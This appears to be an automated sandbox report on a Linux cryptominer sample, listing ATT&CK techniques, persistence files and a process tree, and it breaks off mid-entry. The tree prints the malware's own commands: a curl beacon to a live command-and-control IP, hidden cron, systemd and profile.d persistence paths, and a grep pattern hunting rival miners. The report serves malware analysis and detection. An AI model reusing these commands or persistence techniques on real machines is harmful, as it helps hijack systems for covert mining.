xmrig | 558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8

persistence privilege_escalation defense_evasion

description	ioc	Process
File opened for modification	/etc/cron.d/zz-lx2	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for modification	/etc/cron.d/zz-lx	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8

Creates/modifies environment variables 1 TTPs 1 IoCs

Creating/modifying environment variables is a common persistence mechanism.

Path Interception by PATH Environment Variable

persistence privilege_escalation

description	ioc	Process
File opened for modification	/etc/profile.d/zz-lx.sh	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/zz-lx.service	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8

Write file to user bin folder 1 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/local/bin/.lxhb	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8

Modifies Bash startup script 2 TTPs 1 IoCs

persistence

Boot or Logon Autostart Execution

T1547

Unix Shell Configuration Modification

T1546.004

description	ioc	Process
File opened for modification	/etc/profile.d/zz-lx.sh	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-6.dat	upx

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 1 IoCs

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pgrep

Command and Scripting Interpreter: Unix Shell 1 TTPs 1 IoCs

Execute scripts via Unix Shell.

execution

Unix Shell

T1059.004

pid	Process
2018	sh

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/42/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/22/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/107/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/642/cmdline	pgrep
File opened for reading	/proc/651/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/3/cmdline	pgrep
File opened for reading	/proc/109/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/98/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/17/status	pgrep
File opened for reading	/proc/644/cmdline	pgrep
File opened for reading	/proc/2037/status	pgrep
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/19/cmdline	pgrep
File opened for reading	/proc/21/cmdline	pgrep
File opened for reading	/proc/28/status	pgrep
File opened for reading	/proc/224/cmdline	pgrep
File opened for reading	/proc/288/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/635/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/7/cmdline	pgrep
File opened for reading	/proc/110/status	pgrep
File opened for reading	/proc/161/cmdline	pgrep
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/20/status	pgrep
File opened for reading	/proc/110/cmdline	pgrep
File opened for reading	/proc/136/cmdline	pgrep
File opened for reading	/proc/142/status	pgrep
File opened for reading	/proc/filesystems	id
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/15/cmdline	pgrep
File opened for reading	/proc/18/status	pgrep
File opened for reading	/proc/43/status	pgrep

System Network Configuration Discovery 1 TTPs 17 IoCs

Adversaries may gather information about the network configuration of a system.

System Network Configuration Discovery

T1016

pid	Process
1432	head
1442	stat
1444	basename
1482	stat
1484	basename
1431	basename
1437	basename
1445	head
1485	head
1435	stat
1476	stat
1478	basename
1479	head
2018	sh
2019	gzip
1429	stat
1439	head

Writes file to tmp directory 5 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.lx_phoenix.log	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for modification	/tmp/.lxseal.tgz	tar
File opened for modification	/tmp/sh-thd.MOeh7U	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for modification	/tmp/sh-thd.sM2vLd	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for modification	/tmp/sh-thd.PTuX7b	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8

/tmp/558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
/tmp/558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
1⤵
- Creates/modifies Cron job
- Creates/modifies environment variables
- Modifies systemd
- Write file to user bin folder
- Modifies Bash startup script
- Reads runtime system information
- Writes file to tmp directory
PID:645
- /bin/hostname
  hostname
  2⤵
  PID:653
- /usr/bin/cut
  cut -c1-12
  2⤵
  PID:654
- /bin/mkdir
  mkdir -p /root/.local/share/icc/.mgr /usr/lib/.lx
  2⤵
  - Reads runtime system information
  PID:661
- /bin/date
  date "+%s"
  2⤵
  PID:666
- /bin/cat
  cat /usr/lib/.lx/.lastrun
  2⤵
  PID:671
- /bin/hostname
  hostname
  2⤵
  PID:673
- /usr/bin/id
  id -u
  2⤵
  - Reads runtime system information
  PID:675
- /usr/bin/wc
  wc -l
  2⤵
  PID:679
- /usr/bin/curl
  curl -s --max-time 6 -d lx4_debian9-armhf-20260513-en-1_0_0g http://23.252.123.134:8098/beacon
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:681
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:762
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:764
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:766
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:768
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:770
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:772
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:774
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:776
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:778
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:780
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:782
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:784
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:786
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:788
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:790
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:792
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:794
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:796
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:798
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:800
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:802
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:804
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:806
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:808
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:810
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:812
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:814
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:816
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:818
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:820
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:822
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:825
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:827
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:829
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:831
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:834
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:836
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:838
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:840
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:842
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:844
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:846
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:848
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:850
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:852
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:854
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:856
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:858
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:860
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:862
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:864
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:866
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:868
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:872
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:874
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:876
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:878
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:880
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:882
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:884
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:886
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:888
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:890
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:892
- /usr/bin/cut
  cut "-d," -f1
  2⤵
  PID:895
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:899
- /usr/bin/head
  head -1
  2⤵
  PID:898
- /bin/date
  date "+%F %T"
  2⤵
  PID:900
- /usr/bin/head
  head -1
  2⤵
  PID:904
- /usr/bin/find
  find /usr/lib -type f -name pearl-gpu-miner -size +500k
  2⤵
  PID:903
- /usr/bin/find
  find /usr/lib -type f -name glint -size +500k
  2⤵
  PID:906
- /usr/bin/head
  head -1
  2⤵
  PID:907
- /usr/bin/head
  head -1
  2⤵
  PID:910
- /usr/bin/find
  find /usr/lib -type f -name miner2 -size +500k
  2⤵
  - Reads runtime system information
  PID:909
- /usr/bin/find
  find /usr/lib -type f -name krig-miner -size +500k
  2⤵
  PID:912
- /usr/bin/head
  head -1
  2⤵
  PID:913
- /usr/bin/head
  head -1
  2⤵
  PID:916
- /usr/bin/find
  find /usr/lib -type f -name pearl -size +500k
  2⤵
  PID:915
- /usr/bin/find
  find /usr/lib -type f -name nvidia-persistenced -size +500k
  2⤵
  PID:918
- /usr/bin/head
  head -1
  2⤵
  PID:919
- /usr/bin/head
  head -100
  2⤵
  PID:923
- /usr/bin/find
  find /usr/lib -type f -size +500k
  2⤵
  PID:922
- /usr/bin/stat
  stat "-c%s" /usr/lib/file/magic.mgc
  2⤵
  PID:926
- /usr/bin/basename
  basename /usr/lib/file/magic.mgc
  2⤵
  PID:928
- /usr/bin/head
  head -c 4 /usr/lib/file/magic.mgc
  2⤵
  PID:929
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:930
- /usr/bin/stat
  stat "-c%s" /usr/lib/gcc/arm-linux-gnueabihf/6/libstdc++.a
  2⤵
  PID:932
- /usr/bin/basename
  basename /usr/lib/gcc/arm-linux-gnueabihf/6/libstdc++.a
  2⤵
  PID:934
- /usr/bin/head
  head -c 4 /usr/lib/gcc/arm-linux-gnueabihf/6/libstdc++.a
  2⤵
  PID:935
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:936
- /usr/bin/stat
  stat "-c%s" /usr/lib/gcc/arm-linux-gnueabihf/6/cc1
  2⤵
  PID:938
- /usr/bin/basename
  basename /usr/lib/gcc/arm-linux-gnueabihf/6/cc1
  2⤵
  PID:940
- /usr/bin/head
  head -c 4 /usr/lib/gcc/arm-linux-gnueabihf/6/cc1
  2⤵
  PID:941
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:942
- /usr/bin/head
  head -c 120000
  2⤵
  PID:944
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:945
- /usr/bin/strings
  strings /usr/lib/gcc/arm-linux-gnueabihf/6/cc1
  2⤵
  PID:943
- /usr/bin/stat
  stat "-c%s" /usr/lib/gcc/arm-linux-gnueabihf/6/libasan.a
  2⤵
  PID:947
- /usr/bin/basename
  basename /usr/lib/gcc/arm-linux-gnueabihf/6/libasan.a
  2⤵
  PID:949
- /usr/bin/head
  head -c 4 /usr/lib/gcc/arm-linux-gnueabihf/6/libasan.a
  2⤵
  PID:950
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:951
- /usr/bin/stat
  stat "-c%s" /usr/lib/gcc/arm-linux-gnueabihf/6/libstdc++fs.a
  2⤵
  PID:953
- /usr/bin/basename
  basename /usr/lib/gcc/arm-linux-gnueabihf/6/libstdc++fs.a
  2⤵
  PID:955
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:957
- /usr/bin/head
  head -c 4 /usr/lib/gcc/arm-linux-gnueabihf/6/libstdc++fs.a
  2⤵
  PID:956
- /usr/bin/stat
  stat "-c%s" /usr/lib/gcc/arm-linux-gnueabihf/6/lto-wrapper
  2⤵
  PID:959
- /usr/bin/basename
  basename /usr/lib/gcc/arm-linux-gnueabihf/6/lto-wrapper
  2⤵
  PID:961
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:963
- /usr/bin/head
  head -c 4 /usr/lib/gcc/arm-linux-gnueabihf/6/lto-wrapper
  2⤵
  PID:962
- /usr/bin/strings
  strings /usr/lib/gcc/arm-linux-gnueabihf/6/lto-wrapper
  2⤵
  PID:964
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:966
- /usr/bin/head
  head -c 120000
  2⤵
  PID:965
- /usr/bin/stat
  stat "-c%s" /usr/lib/gcc/arm-linux-gnueabihf/6/cc1plus
  2⤵
  PID:968
- /usr/bin/basename
  basename /usr/lib/gcc/arm-linux-gnueabihf/6/cc1plus
  2⤵
  PID:970
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:972
- /usr/bin/head
  head -c 4 /usr/lib/gcc/arm-linux-gnueabihf/6/cc1plus
  2⤵
  PID:971
- /usr/bin/strings
  strings /usr/lib/gcc/arm-linux-gnueabihf/6/cc1plus
  2⤵
  PID:973
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:975
- /usr/bin/head
  head -c 120000
  2⤵
  PID:974
- /usr/bin/stat
  stat "-c%s" /usr/lib/gcc/arm-linux-gnueabihf/6/libubsan.a
  2⤵
  PID:977
- /usr/bin/basename
  basename /usr/lib/gcc/arm-linux-gnueabihf/6/libubsan.a
  2⤵
  PID:979
- /usr/bin/head
  head -c 4 /usr/lib/gcc/arm-linux-gnueabihf/6/libubsan.a
  2⤵
  PID:980
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:981
- /usr/bin/stat
  stat "-c%s" /usr/lib/gcc/arm-linux-gnueabihf/6/libgcc.a
  2⤵
  PID:983
- /usr/bin/basename
  basename /usr/lib/gcc/arm-linux-gnueabihf/6/libgcc.a
  2⤵
  PID:985
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:987
- /usr/bin/head
  head -c 4 /usr/lib/gcc/arm-linux-gnueabihf/6/libgcc.a
  2⤵
  PID:986
- /usr/bin/stat
  stat "-c%s" /usr/lib/gcc/arm-linux-gnueabihf/6/lto1
  2⤵
  PID:989
- /usr/bin/basename
  basename /usr/lib/gcc/arm-linux-gnueabihf/6/lto1
  2⤵
  PID:991
- /usr/bin/head
  head -c 4 /usr/lib/gcc/arm-linux-gnueabihf/6/lto1
  2⤵
  PID:992
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:993
- /usr/bin/head
  head -c 120000
  2⤵
  PID:995
- /usr/bin/strings
  strings /usr/lib/gcc/arm-linux-gnueabihf/6/lto1
  2⤵
  PID:994
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:996
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libMagickCore-6.Q16.so.3.0.0
  2⤵
  - Reads runtime system information
  PID:998
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libMagickCore-6.Q16.so.3.0.0
  2⤵
  PID:1000
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1002
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libMagickCore-6.Q16.so.3.0.0
  2⤵
  PID:1001
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1004
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libMagickCore-6.Q16.so.3.0.0
  2⤵
  PID:1003
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1005
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libfftw3f.so.3.5.5
  2⤵
  PID:1007
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libfftw3f.so.3.5.5
  2⤵
  PID:1009
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1011
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libfftw3f.so.3.5.5
  2⤵
  PID:1010
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libfftw3f.so.3.5.5
  2⤵
  PID:1012
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1014
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1013
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libpthread.a
  2⤵
  PID:1016
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libpthread.a
  2⤵
  PID:1018
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1020
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libpthread.a
  2⤵
  PID:1019
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libcrypto.so.1.0.2
  2⤵
  PID:1022
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libcrypto.so.1.0.2
  2⤵
  PID:1024
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1026
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libcrypto.so.1.0.2
  2⤵
  PID:1025
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1028
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libcrypto.so.1.0.2
  2⤵
  PID:1027
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1029
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libstdc++.so.6.0.22
  2⤵
  - Reads runtime system information
  PID:1031
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libstdc++.so.6.0.22
  2⤵
  PID:1033
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libstdc++.so.6.0.22
  2⤵
  PID:1034
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1035
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1037
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1038
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libstdc++.so.6.0.22
  2⤵
  PID:1036
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libc.a
  2⤵
  PID:1040
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libc.a
  2⤵
  PID:1042
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libc.a
  2⤵
  PID:1043
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1044
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libfftw3.so.3.5.5
  2⤵
  PID:1046
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libfftw3.so.3.5.5
  2⤵
  PID:1048
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1050
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libfftw3.so.3.5.5
  2⤵
  PID:1049
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1052
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libfftw3.so.3.5.5
  2⤵
  PID:1051
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1053
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libgio-2.0.so.0.5000.3
  2⤵
  - Reads runtime system information
  PID:1055
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libgio-2.0.so.0.5000.3
  2⤵
  PID:1057
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libgio-2.0.so.0.5000.3
  2⤵
  PID:1058
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1059
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1061
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1062
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libgio-2.0.so.0.5000.3
  2⤵
  PID:1060
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libguile-2.0.so.22.8.1
  2⤵
  PID:1064
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libguile-2.0.so.22.8.1
  2⤵
  PID:1066
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1068
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libguile-2.0.so.22.8.1
  2⤵
  PID:1067
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libguile-2.0.so.22.8.1
  2⤵
  PID:1069
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1070
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1071
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libmailutils.so.5.0.1
  2⤵
  PID:1073
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libmailutils.so.5.0.1
  2⤵
  PID:1075
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libmailutils.so.5.0.1
  2⤵
  PID:1076
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1077
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1079
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libmailutils.so.5.0.1
  2⤵
  PID:1078
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1080
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libkyotocabinet.so.16.13.0
  2⤵
  PID:1082
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libkyotocabinet.so.16.13.0
  2⤵
  PID:1084
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libkyotocabinet.so.16.13.0
  2⤵
  PID:1085
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1086
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1088
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libkyotocabinet.so.16.13.0
  2⤵
  PID:1087
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1089
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libperl.so.5.24.1
  2⤵
  PID:1091
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libperl.so.5.24.1
  2⤵
  PID:1093
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libperl.so.5.24.1
  2⤵
  PID:1094
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1095
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1097
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1098
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libperl.so.5.24.1
  2⤵
  PID:1096
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libunistring.so.0.1.2
  2⤵
  - Reads runtime system information
  PID:1100
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libunistring.so.0.1.2
  2⤵
  PID:1102
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1104
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libunistring.so.0.1.2
  2⤵
  PID:1103
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1106
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libunistring.so.0.1.2
  2⤵
  PID:1105
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1107
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libIlmImf-2_2.so.22.0.0
  2⤵
  - Reads runtime system information
  PID:1109
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libIlmImf-2_2.so.22.0.0
  2⤵
  PID:1111
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1113
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libIlmImf-2_2.so.22.0.0
  2⤵
  PID:1112
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libIlmImf-2_2.so.22.0.0
  2⤵
  PID:1114
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1115
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1116
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/perl/5.24.1/CORE/charclass_invlists.h
  2⤵
  PID:1118
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/perl/5.24.1/CORE/charclass_invlists.h
  2⤵
  PID:1120
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1122
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/perl/5.24.1/CORE/charclass_invlists.h
  2⤵
  PID:1121
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/perl/5.24.1/auto/Encode/CN/CN.so
  2⤵
  PID:1124
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/perl/5.24.1/auto/Encode/CN/CN.so
  2⤵
  PID:1126
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1128
- /usr/bin/head
